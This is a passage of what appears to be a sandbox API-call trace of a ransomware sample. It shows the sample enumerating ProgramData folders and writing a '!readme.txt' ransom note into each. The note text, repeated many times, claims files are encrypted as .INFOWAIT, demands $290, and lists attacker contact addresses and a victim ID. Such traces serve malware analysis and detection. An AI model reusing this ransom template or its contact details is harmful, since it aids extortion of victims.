returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned=".hxn" [0113.795] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned=".hxn" [0113.796] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned=".hxl" [0113.796] PathFindFileNameW (pszPath="C:\\ProgramData\\Mozilla\\") returned="Mozilla\\" [0113.796] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.796] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.796] PathFindFileNameW (pszPath="") returned="" [0113.796] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x24af900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.796] PathAppendW (in: pszPath="C:\\ProgramData\\Mozilla\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Mozilla\\!readme.txt") returned 1 [0113.796] PathFileExistsW (pszPath="C:\\ProgramData\\Mozilla\\!readme.txt") returned 0 [0113.796] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.796] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.800] PathFindExtensionW (pszPath="C:\\ProgramData\\Mozilla\\!readme.txt") returned=".txt" [0113.800] PathFindFileNameW (pszPath="C:\\ProgramData\\Mozilla\\logs\\") returned="logs\\" [0113.800] PathFindFileNameW (pszPath="C:\\ProgramData\\Mozilla\\") returned="Mozilla\\" [0113.800] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.800] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.800] PathFindFileNameW (pszPath="") returned="" [0113.801] PathFindExtensionW (pszPath="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned=".log" [0113.801] PathFindFileNameW (pszPath="C:\\ProgramData\\Oracle\\") returned="Oracle\\" [0113.801] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.801] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.801] PathFindFileNameW (pszPath="") returned="" [0113.801] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.802] PathAppendW (in: pszPath="C:\\ProgramData\\Oracle\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Oracle\\!readme.txt") returned 1 [0113.802] PathFileExistsW (pszPath="C:\\ProgramData\\Oracle\\!readme.txt") returned 0 [0113.802] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.802] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.803] PathFindExtensionW (pszPath="C:\\ProgramData\\Oracle\\!readme.txt") returned=".txt" [0113.804] PathFindFileNameW (pszPath="C:\\ProgramData\\Start Menu\\") returned="Start Menu\\" [0113.804] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.804] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.804] PathFindFileNameW (pszPath="") returned="" [0113.804] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x24af900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.804] PathAppendW (in: pszPath="C:\\ProgramData\\Start Menu\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Start Menu\\!readme.txt") returned 1 [0113.804] PathFileExistsW (pszPath="C:\\ProgramData\\Start Menu\\!readme.txt") returned 0 [0113.804] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.804] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.807] PathFindFileNameW (pszPath="C:\\ProgramData\\Sun\\") returned="Sun\\" [0113.807] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.807] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.807] PathFindFileNameW (pszPath="") returned="" [0113.807] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.807] PathAppendW (in: pszPath="C:\\ProgramData\\Sun\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Sun\\!readme.txt") returned 1 [0113.807] PathFileExistsW (pszPath="C:\\ProgramData\\Sun\\!readme.txt") returned 0 [0113.808] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.808] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.810] PathFindExtensionW (pszPath="C:\\ProgramData\\Sun\\!readme.txt") returned=".txt" [0113.810] PathFindFileNameW (pszPath="C:\\ProgramData\\Sun\\Java\\") returned="Java\\" [0113.810] PathFindFileNameW (pszPath="C:\\ProgramData\\Sun\\") returned="Sun\\" [0113.810] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.810] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.810] PathFindFileNameW (pszPath="") returned="" [0113.812] PathFindFileNameW (pszPath="C:\\ProgramData\\Sun\\Java\\Java Update\\") returned="Java Update\\" [0113.812] PathFindFileNameW (pszPath="C:\\ProgramData\\Sun\\Java\\") returned="Java\\" 